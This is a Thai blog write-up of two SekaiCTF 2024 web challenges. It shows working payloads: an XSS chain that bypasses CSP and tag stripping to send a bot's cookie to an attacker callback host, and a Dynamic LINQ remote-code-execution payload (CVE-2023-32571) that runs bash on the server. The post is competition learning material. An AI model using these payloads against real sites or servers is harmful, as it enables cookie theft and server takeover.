เฉลยงานแข่งแฮก SekaiCTF 2024

เรื่องราวเริ่มมาจาก หลายสัปดาห์ก่อนไปเจอโพสต์ในกลุ่ม 2600 Thailand

สรุปคือ
- จะมีงานแข่งแฮกในรูปแบบ Capture The Flag (CTF) ชื่อ Sekai CTF 2024 ในรูปแบบทีม เลยอยากจะหาคนมาช่วยรวมทีมเข้าไปลองแข่งขัน
- เงื่อนไข ของการแข่งขันคือ จะมีโจทย์หมวดต่าง ๆ ให้เราเข้าไปลองแฮก และถ้าแฮกสำเร็จจะได้คำตอบ เป็นข้อความเรียกว่า Flag มาใส่ในระบบการแข่งขันเพื่อเก็บคะแนน
ก็เลยเข้าไปดูเว็บงานพบว่าน่าสนใจดีมีสปอนเซอร์ดัง ๆ เพียบ HackTheBox, OffSec, Google Cloud …

และก็แข่งช่วงวันหยุด 2 วัน เป็นเสาร์-อาทิตย์ ก็เลยเข้าไปจอย และใช้เวลา 1 วันเสาร์ เต็ม ๆ (2024–08–24) ไปกับการลองเข้าไปแฮกโจทย์หลาย ๆ ข้อในการแข่งขัน โดยเพื่อน ๆ บอกว่างานนี้เป็น “CTF for Beginner” (งานแข่งสำหรับมือใหม่ 55) วันนี้เลยเอาเฉลยโจทย์การแข่งขันที่ลองทำแล้ว มาแบ่งปัน
ต้องบอกว่าในการแข่งขันมีโจทย์หลายหมวด แต่หมวดที่ทำ ทำแค่หมวด Web Security (และก็ไปเล่นหมวด Reverse 1 ข้อ ที่เป็น Mobile Security)
ข้อ 1 — Tagless (หมวด Web Security)

ข้อ Tagless เป็นโจทย์แฮกเว็บ ที่ให้ทั้ง URL มาให้แฮก และให้โค้ด (ทั้งฝั่ง Server Side และ Client Side) ของเว็บมาให้ด้วย เว็บโจทย์มีหลัก ๆ แค่หน้าเดียว แบบนี้

สรุปฟีเจอร์ของเว็บคือ
- ผู้ใช้งานเว็บ สามารถใส่ข้อความใน “Your Message” ได้
- และพอกดปุ่ม Display ข้อความก็จะไปแสดงใน กล่องข้อความ (iframe) ด้านล่าง
แค่นั้นสั้น ๆ ง่าย ๆ .. แล้วเราจะแฮก ยังไงดี?
ก็เริ่มจากก่อนที่เราจะไปแฮกเว็บ บนเซิร์ฟเวอร์โจทย์จริง ก็เอาโค้ดมาจำลองรันบนเครื่อง Local ตัวเองก่อน ซึ่งสะดวกมากเพราะโจทย์ให้โค้ดมาเป็น Docker Image สามารถมาลองรันได้เลย แค่ว่า โค้ดที่โจทย์ให้มาไม่มีค่า Flag (คำตอบ) จริงอยู่ด้วย เมื่อเราแก้โจทย์บนเครื่อง Local ตัวเองได้ ก็เอาไปลองแฮกยิงบนเว็บโจทย์ (Remote) เพื่อ เอาคำตอบ (Flag) นั้นเอง
จากการสำรวจโค้ดที่ให้มาพบว่า เว็บพัฒนาด้วยภาษา Python ด้วย Flask Web Framework นอกจาก Path หน้าแรก ที่มีช่องให้ส่ง ข้อความ ไปแสดงแล้วก็มีอีก Web API คือ /report เอาไว้ส่ง ลิงก์ URL ไปให้ Bot เปิด
File: app.py

โดย Bot ที่มาเปิด ลิงก์ ที่เราส่งไป จะมีคำตอบ (Flag) อยู่ใน HTTP Cookie ด้วย ตรง SEKAI{dummy} นั้นแหละ
File: bot.py

เลยเดาเอาเองว่า โจทย์ น่าจะให้โจมตีช่องโหว่ชื่อว่า Cross-Site Scripting (XSS) โดยให้เราสร้างลิงก์ URL ที่ฝังโค้ด JavaScript เพื่อขโมยค่า Cookie ของ Bot นั้นเอง
Web Defense
ทีนี้มาดูฝั่งการป้องกัน กันว่า ระบบเว็บนี้มีการป้องกัน XSS ยังไงบ้าง
การป้องกันที่ 1 — Content-Security-Policy (CSP)
File: app.py

พบว่าเว็บมีการใส่ HTTP Response Header เป็น CSP มาด้วย โดย CSP นี้ดูค่อนข้างปลอดภัยคือ script-src 'self'
แปลว่า
- ไม่ยอมให้รันโค้ด JavaScript แบบ inline ใน HTML เลย พวก Event Handler อย่าง
onerror
,onload
ต่าง ๆ ก็รันไม่ได้ - ต้องโหลด JavaScript จาก HTML Tag Script (
<script src=…></script>
) เท่านั้น - แถมการโหลด JavaScript ต้องเป็นไฟล์มาจาก Origin (เว็บ) เดียวกันเท่านั้น ตามคำว่า
'self'
ใครสนใจ CSP เพิ่มเติม ผมเคยเขียนรายละเอียดไว้ที่ https://www.cyfence.com/article/how-to-set-up-a-content-security-policy-for-website/
การป้องกันที่ 2— Input Sanitization ด้วยการลบ HTML Tag
ฝั่ง Server Side หมดแล้ว ทีนี้มาดูฝั่ง Client Side กันบ้าง
File: app.js

เวลาหน้าเว็บ index.html
แสดงผล มันจะไปโหลดไฟล์ app.js
มารันด้วย ซึ่งในไฟล์นี้มีการเรียกฟังก์ชัน sanitizeInput()
กับข้อความที่เราใส่ไปผ่านหน้าเว็บ ดังนี้
- ถ้าเจอ ข้อความอะไรก็ตามที่ขึ้นต้นด้วย < และลงท้ายด้วย > ให้ ลบออก (เปลี่ยนคำนั้นเป็น ค่าว่าง ๆ)
- เช่น ถ้าเราใส่ ข้อความ
Hello<script>alert(1)</script>World
หน้าเว็บจะแสดงผลแค่HelloWorld
โดยไม่นำ<script></script>
มาแสดง หรือรันเป็นคำสั่ง JavaScript ด้วย - รวมถึง HTML Tag อื่น ๆ อย่าง
<img src=…>
ก็ไม่ได้ เพราะว่าจะโดนลบออก
ตามชื่อโจทย์เลยคือ Tagless ห้ามใช้ (HTML) Tag นั้นเอง
How does it work?
เรามาทำความเข้าใจเพิ่มอีกนิดหนึ่ง ว่า เว็บมันเอาข้อความเราออกไปแสดงยังไง
เวลาเรากดปุ่ม “Display” บนเว็บ จะมีการไปเรียก Event ชื่อว่า “click” ซึ่งก็จะไปเรียกฟังก์ชัน displayInput()
อีกที

โดยฟังก์ชัน displayInput()
จะไปหยิบข้อความที่เราส่งไป ผ่านเข้าฟังก์ชัน sanitizeInput()
ในการป้องกันที่ 2 และเอามาใส่ใน iframeContent ก่อนจะแสดง iframe นั้นบนหน้าเว็บ

แบบนี้ (คำสั่ง <script> ที่ใส่เข้าไปโดน sanitizeInput()
ลบออก)

Web Attack
หลังจากเราเข้าใจ Web Defense ต่าง ๆ เรียบร้อยแล้ว ทีนี้ก็มาสู่ขั้นตอนการโจมตีฝั่ง Web Attack กัน โดยเราจะ Tear Down การป้องกันแต่ละชั้น เพื่อรันโค้ด JavaScript (XSS) และขโมยค่า Cookie ที่มี Flag จาก Bot ให้ได้
Bypass การป้องกันที่ 1 — Content-Security-Policy (CSP)
ต้องเข้าใจก่อนว่า CSP คือกระบวนป้องกันการถูกเรียกใช้ Resource ของเว็บ (เช่น JavaScript) ตาม นโยบายที่กำหนดไป ดังนั้นเรา ไม่สามารถทำอะไรเกินเลยจากที่ CSP ระบุได้ อย่างกรณีนี้คือ รันได้เฉพาะไฟล์ JavaScript จากในเว็บ (Domain) เดียวกันเท่านั้น
แต่อย่างไรก็ตามเว็บนี้มี Web API ที่น่าสนใจอันหนึ่ง คือ ถ้าเราเข้าหน้าเว็บที่ไม่มีอยู่จริง เช่น /STH_PENTEST

จะมีข้อความตอบกลับมา ว่า Path หน้าเว็บนั้น not found
มาดูในโค้ดกัน
File: app.py

ก็เรียบง่าย ถ้าหน้าเว็บไม่มีอยู่จริงก็ให้แสดงข้อความตามนั้นออกมา… แต่เดี๋ยว เราสามารถ XSS ตรงนี้ได้ไหม? เช่น /STH_PENTEST<script>alert(1)</script>

คำตอบคือ XSS ตรงนี้ไม่ได้ เพราะมันไม่ยอมให้รัน inline JavaScript ไง การจะรัน JavaScript จาก CSP นี้ได้คือต้องโหลดมาจาก <script src=…></script>
ด้วย URL ในเว็บเดียวกัน (self
) เท่านั้น ซึ่งเว็บเองก็ไม่ได้มีฟีเจอร์ ให้เราอัปโหลดไฟล์ JavaScript เข้าไปได้
วิธีแฮกคือเรา สามารถที่จะ เปลี่ยนหน้า not found นี้ให้กลายเป็นไฟล์ JavaScript ได้ !! โดยการใส่ Path ที่ไม่มีอยู่จริงเป็นโค้ด JavaScript เข้าไป (แต่ โค้ดเหล่านี้จะยังรัน ณ ตรงนี้ไม่ได้)
เช่นใส่ /alert(1)

ปัญหาแรกที่เราเจอก็คือ เว็บมันใส่ /
มานำหน้า และมีคำว่า not found ต่อท้าย เราก็ใช้ Comment ตัดคำเหล่านั้นออกก็ได้แล้ว
เช่นใส่ /**/alert(1);//

ทีนี้ก็จะเสมือนกับว่า เราได้ไฟล์ JavaScript ที่ Host อยู่บนเว็บเป้าหมายเดียวกัน โดยไม่ต้องอัปโหลดไฟล์เข้าไปตรง ๆ และเราสามารถ Bypass CSP ด้วยท่านี้ได้เช่น
<script src="https://tagless.chals.sekai.team/**/alert(1);//"></script>
ในกรณีที่ถ้า ไม่มีการป้องกันอื่น ๆ เราก็จะรัน JavaScript ด้วยคำสั่ง alert(1)
ได้อย่างสำเร็จ
Bypass การป้องกันที่ 2 — Input Sanitization ด้วยการลบ HTML Tag
ปัญหาถัดมา คือการป้องกันด้วย Input Sanitization ตามชื่อโจทย์ Tagless ต่อให้เรา Bypass CSP ได้แล้ว เราก็ใส่ HTML Tag <script>
ไม่ได้อยู่ดีเพราะโดนลบออก
อันนี้เราสามารถใช้เทคนิคชื่อว่า Dangling Markup Injection (https://portswigger.net/web-security/cross-site-scripting/dangling-markup)ได้ โดยเทคนิคนี้คือเราอาจจะใส่ HTML Tag ที่ไม่สมบูรณ์ เช่นไม่มี HTML Tag ปิด

ใน Web Browser ก็จะยอมให้รัน HTML Tag นั้นอยู่ดี มาดูตัวอย่างกัน
เช่น <img src="https://sth.sh/assets/images/logo-full.png" <
เราก็สามารถ Render HTML Tag นี้บนเว็บได้

Full Chain Exploit
พอเราสามารถ Bypass การป้องกันทั้งคู่ได้แล้ว เราก็สร้าง Attack Payload ที่ Chain 2 อย่างนี้เข้าด้วยกัน
เริ่มจากเตรียมโค้ด JavaScript ที่อ่าน Cookie ของ Bot ที่มีค่า Flag
/**/new+Image().src='https://onffmpn7h0mfot2x5zfkuhlft6zxn1bq.b.p7z.pw/%253f'%2bdocument.cookie//;

โดยหลักการของโค้ดนี้คือใช้คำสั่ง JavaScript ไปสร้าง HTML Tag ชื่อ <img> แล้วให้ โหลดรูปจาก เซิร์ฟเวอร์ของผู้โจมตี (b.p7z.pw)โดยตอนจะโหลดรูปให้ส่งค่า document.cookie แนบไปด้วยนั้นเอง
จากนั้นเราก็เอาลิงก์ JavaScript นี้ไปใส่ใน Dangling Markup Injection จะได้
<script src="http://127.0.0.1:5000/**/new Image().src='https://onffmpn7h0mfot2x5zfkuhlft6zxn1bq.b.p7z.pw/%3f'+document.cookie//;"< </script<
การโจมตีนี้จะมีปัญหาเล็ก ๆ 2 ข้อได้แก่
ปัญหาที่ 1 — ช่องโหว่ Self-XSS
ต่อให้เรา XSS ได้ ก็เหมือนจะเป็น Self-XSS คือผู้โจมตีต้องพิมพ์ Attack Payload เข้าไปเอง แล้วก็รัน XSS ใส่ Web Browser ตัวเอง (แทนที่จะเป็นเหยื่อ) ?
ปัญหาที่ 2 — <script> ไม่ Reload
ต่อให้ผู้โจมตีทำการ Bypass การป้องกัน 1 กับ 2 ได้ แต่การ XSS เพื่อใส่ <script>
ผ่าน DOM เข้าไป จะไม่มีผลถ้า <script>
นั้นไม่ได้ใส่มาตั้งแต่ต้น ?
แก้ปัญหาที่ 1 และ 2
จาก ปัญหาเล็ก ๆ 1 ถัดมาคือเราจะทำให้ Bot พิมพ์ข้อความนี้เข้าไปในเว็บได้ยังไง? ช่องโหว่นี้ดูเหมือนเป็น Self-XSS คือเรา XSS ใส่ตัวเองได้เท่านั้น
จริง ๆ เว็บก็ได้เตรียมฟังก์ชัน autoDisplay()
ไว้ให้ ทำให้เราสามารถทำลิงก์ DOM XSS ส่งให้ Bot ถ้าเราใส่ URL ที่มี Query String ชื่อว่า auto_input

กับ fulldisplay
ที่จะเปิด iframe ใน HTML Tab ใหม่ให้ด้วย (เข้าใจว่า ถ้าไม่เปิด Tab ใหม่ <script>
มันจะไม่ Reload ใหม่ด้วยมั่ง)

หลังจากเราแก้ Bypass การป้องกันทั้งหมด และแก้ปัญหาต่าง ๆ ได้แล้วเราก็จะได้ Exploit สุดท้ายออกมาหน้าตาเป็นแบบนี้
POST /report HTTP/1.1
Host: tagless.chals.sekai.team
Content-Type: application/x-www-form-urlencoded
Content-Length: 233
url=http%3a//127.0.0.1%3a5000/%3ffulldisplay%3dx%26auto_input%3dxxx<script%2bsrc%3d"http%3a//127.0.0.1%3a5000/**/new%2bImage().src%3d'http%3a//a3eq2tpfw2s0yajx5n0y4kubd2jt7lva.b.p7z.pw/%25253f'%252bdocument.cookie//%3b"<%2b</script<
สุดท้าย Bot ก็จะโดน XSS ของเราและส่ง Cookie (Flag) กลับมา

หมายเหตุ:
- เราใส่ 127.0.0.1:5000 เพราะ Bot อยู่ใน Docker Container เดียวกับเว็บโจทย์
- ระวังเรื่องการทำ URL Encoding ตรงใส่เครื่องหมาย ? ต้อง Double URL Encoding (ถ้าใครสงสัยว่าทำไม ไปลองหาคำตอบกันเองขี้เกียจอธิบาย 55)
- โจทย์นี้น่าจะมีวิธีแฮกได้มากกว่า 1 วิธี อันนี้เป็นตัวอย่างวิธีที่ผมใช้เฉย ๆ
ข้อ 2 — Intruder (หมวด Web Security)

ข้อนี้ขอโม้ว่า Solve ได้เป็นคนที่ 7 ในการแข่งขัน หลังจากหวด Tagless เสร็จ ส่วนตัวคิดว่าข้อนี้มี 3 ดาว แต่ไม่ค่อยยาก ถ้าใครทำ Pentest บ่อย ๆ น่าจะทำได้ทันที ขอเขียน Writeup สั้น ๆ ละกันนะ 55
เริ่มต้นจากสำรวจเว็บกันหน่อย จะพบว่าเป็น ASP.NET Core มีฟีเจอร์ให้ “View Books” ดูรายการหนังสือได้และกดค้นหาหนังสือตาม Title ได้แค่นั้น (ฟีเจอร์ Add Book เป็น Dummy ใช้งานไม่ได้จริง)

โจทย์ก็ให้โค้ดมาด้วยเหมือนเดิม และมีความน่าสนใจคือ คำตอบของการแฮก (Flag) อยู่ในไฟล์ flag.txt ที่โดน เปลี่ยนชื่อเป็นค่าสุ่ม UUID ต่อท้าย และโยนไว้ใน Path / ของ OS แปลว่า โจทย์ข้อนี้คือ เราอาจจะต้องรันโค้ดยึดเครื่องเซิร์ฟเวอร์ ไปดูชื่อไฟล์และอ่านไฟล์ /flag_*.txt
ออกมานั้นเอง

ดูโค้ดคร่าว ๆ ก็เจอว่าเป็น Web Framework ชื่อ Blazor ของ Microsoft ถ้าใครเล่น HackTheBox Machine ช่วงนี้อย่าง Blazorized หรือ Lantern ก็น่าจะคุ้นเคยกันดี
Blazor Web Framework คือ?
สำหรับใครที่ไม่รู้จัก Blazor จะขอเกริ่นภาพรวม เป็นข้อมูลประกอบคือ
- เป็น Web Framework ของ Microsoft ที่ผู้พัฒนาเว็บสามารถเขียนโค้ด C# .NET ฝั่ง Client/Server ได้
- จุดเด่น หรือจุดแปลกของ Blazor คือ มันมี Custom Data Format ของมันเอง เวลาคุยกัน Client/Server ด้วย WebSocket หรือ Web API อาจจะมีส่วนที่เป็น Binary ด้วยคล้าย ๆ Protobuf ของ Google นั้นแหละ
- อีกจุดหนึ่งคือ Blazor มันมีการใช้ Web Assembly ได้ด้วย เช่น โหลด .DLL ไว้ฝั่ง Client Side แล้วให้ JavaScript ฝั่ง Client Side ไปเรียกโค้ด… ใช่ ฟังไม่ผิดหรอก โหลด .DLL ไว้ฝั่ง Client Side ของเว็บ
ทีนี้เรามาดูโค้ดกันต่อ จะพบไฟล์ .DLL มากมาย หลักการคือเราจะต้องแยกว่า .DLL ไหนเป็นโค้ดของ Blazor Web Framework และ .DLL ไหนเป็นของโจทย์การแข่งขัน
ในกรณีนี้ไฟล์ของเว็บอยู่ใน CRUD.dll

ทำการ Decompile CRUD.dll ด้วย ILSpy
เนื่องจากเว็บพัฒนาด้วย C# .NET ดังนั้นเราก็สามารถเอาไฟล์ CRUD.dll
ไป Decompile กลับเป็น C# .NET ได้ โดยมีหลายโปรแกรม ส่วนตัวผมใช้ ILSpy (https://github.com/icsharpcode/ILSpy) ก็แค่ติดตั้งและลากไฟล์ไปเปิด
โค้ดหลัก ๆ เป็น MVC (Model View Controller) ก็เลยไปดูที่ Controller มีแค่ Home กับ Book

เปิดโค้ดดูครั้งแรก ถึงกับต้องเกาหัว เพราะว่า ทำอะไรแทบไม่ได้เลย ทุกอย่างเหมือนจะ Static ฝังไว้หมดแล้ว เป็นค่าที่เราแก้ไขใด ๆ แทบไม่ได้ เช่น
- ไม่มีการเชื่อมต่อฐานข้อมูล ไม่มีการอ่าน-เขียนไฟล์ ไม่มีระบบ User ใด ๆ
- ฟังก์ชัน เพิ่มหนังสือ ไม่มี API ไม่สามารถเพิ่มหนังสือจริงได้
- ฟังก์ชัน ดูหนังสือ คือมีหนังเป็นเป็น
List<Book>
ที่ Hard Coded เอาไว้ และดึงมาแสดง (เราไปแก้ไข หรือเพิ่มเติมอะไรหนังสือไม่ได้เลย) - ฟังก์ชัน ค้นหาหนังสือ คือแปลง
List<Book>
เป็นIQueryable<Book>
เหมือนทำให้สามารถใช้ Linq Query ไป ค้นหาหนังจาก จากList<Book>
ได้แค่นั้น
สรุปคือเหมือนเป็นเว็บ View-Only ดูข้อมูลได้อย่างเดียว ให้แฮกเว็บที่มีแต่หน้าแสดงข้อมูล !?
ช่องโหว่ Linq Injection
ไม่มีต่อฐานข้อมูล ไม่มีการอ่านเขียนไฟล์อะไร… เฮ้ยแล้วมันแฮกยังไงละเนี่ย 55 จุดสังเกต อันหนึ่งคือ เหมือนจะมีช่องโหว่ Linq Injection ในไฟล์ CRUD.Controllers/BookController.cs
ตรงโค้ดบรรทัด
File: BookController.cs
query = query.Where("Title.Contains(\"" + searchString + "\")");

เนื่องจากไม่ได้ทำ Parameterized Query ไว้และเราคุมค่า searchString คือคำค้นหาจากหน้าเว็บที่เข้าไปตกใน Title.Contains("ตรงนี้")
ได้เช่นเราใส่คำว่า Ring เป็นคำค้นหา จะเข้าไปที่เว็บ /Books?searchString=Ring

แต่การทำ Linq Injection ตรงนี้แทบ ไม่มีประโยชน์อะไร เพราะข้อมูลใน List<Book> เป็นสาธารณะทั้งหมด อยู่แล้ว เราจะ Injection ไปอ่านออกมาให้เหนื่อยทำไม 555 เหมือนแค่เอาไว้ Filter ข้อมูลจาก List ที่เราอ่านได้อยู่แล้วเฉย ๆ
ช่องโหว่ Linq 1.0.7.10–1.2.25 Remote Code Execution (CVE-2023–32571)
จากการไปค้นหาข้อมูลเพิ่มเติมพบว่า Linq เมื่อปีก่อนเพิ่งมีช่องโหว่ระดับรุนแรงสูงมาก เป็น Remote Code Execution หมายเลข CVE-2023–32571

โดยเงื่อนไขการโจมตีช่องโหว่นี้คือต้องมี Linq Injection ก่อน แล้วเราจะสามารถแทรกโค้ดอันตรายเข้าไป เพื่อรันโค้ด C# .NET ได้ ฟังดู ตรงกับเงื่อนไข เราเป๊ะ ๆ แถมโค้ดก็หน้าตาคล้าย ๆ กัน คือมี Array แปลงด้วยฟังก์ชัน AsQueryable()
แล้วถ้าเราใส่ Linq Query เข้าไปได้

ก็เลย ไปหา ตัวอย่างโค้ดโจมตีช่องโหว่ ไปเจอของ Tris0n (https://github.com/Tris0n/CVE-2023-32571-POC)
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))
เอามาดัดแปลงนิดหน่อย ให้รองรับ การถูก Linq Query ปิดท้ายด้วย ")
ในกรณีของเรา
จาก
"bash;-c <command-here>".Split(";".ToCharArray()))
เป็น
"bash;-c <command-here>".Split(";".ToCharArray())).GetType().toString() == ("
ก็จะสามารถรันคำสั่ง OS ได้ จากที่ทดสอบใน Docker Container บน Local เครื่องตัวเอง
แต่ปัญหาถัดมาคือ เจอว่า โจทย์มันแอบใส่การป้องกัน ไม่ยอมให้ทำ การเชื่อมต่อกลับออกมาจากเซิร์ฟเวอร์ผู้โจมตี (Reverse Shell) โดยการระบุ Network ของ Docker เอาไว้ด้วย internal: true
File: docker-compose.yml

ทำให้ต้องใช้ความคิดสร้างสรรค์อีกนิดหนึ่ง ว่าเราจะอ่านไฟล์ /flag_*.txt
ที่เราไม่รู้ชื่อเต็ม ๆ ตรง * ได้ยังไง?
โดยวิธีที่ผมทำก็คือ ใช้ cat
อ่านไฟล์ /flag_*.txt
แล้ว เขียนเป็นไฟล์ flag.txt
ที่ Web Root Path คือ /app/src/wwwroot/js/
ด้วยคำสั่ง cat /flag_*.txt > /app/src/wwwroot/js/flag.txt
Final Exploit Payload:
x").GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "/bin/bash;-c \"cat /flag_*.txt > /app/src/wwwroot/js/flag.txt\"".Split(";".ToCharArray())).GetType().toString() == ("
เอาไปยิงเข้าเว็บโจทย์

สุดท้ายก็จะได้ไฟล์ flag.txt บนเซิร์ฟเวอร์ (ตัวอย่างนี้ ?? เป็นค่า dummy ของไฟล์ /flag_*.txt ใน Docker Container บน local เฉย ๆ เอาไปยิงโจทย์จริงจะได้ค่า flag)

สรุป โจทย์ก็สนุกดี หมดวันเสาร์ ไปอีกวัน 55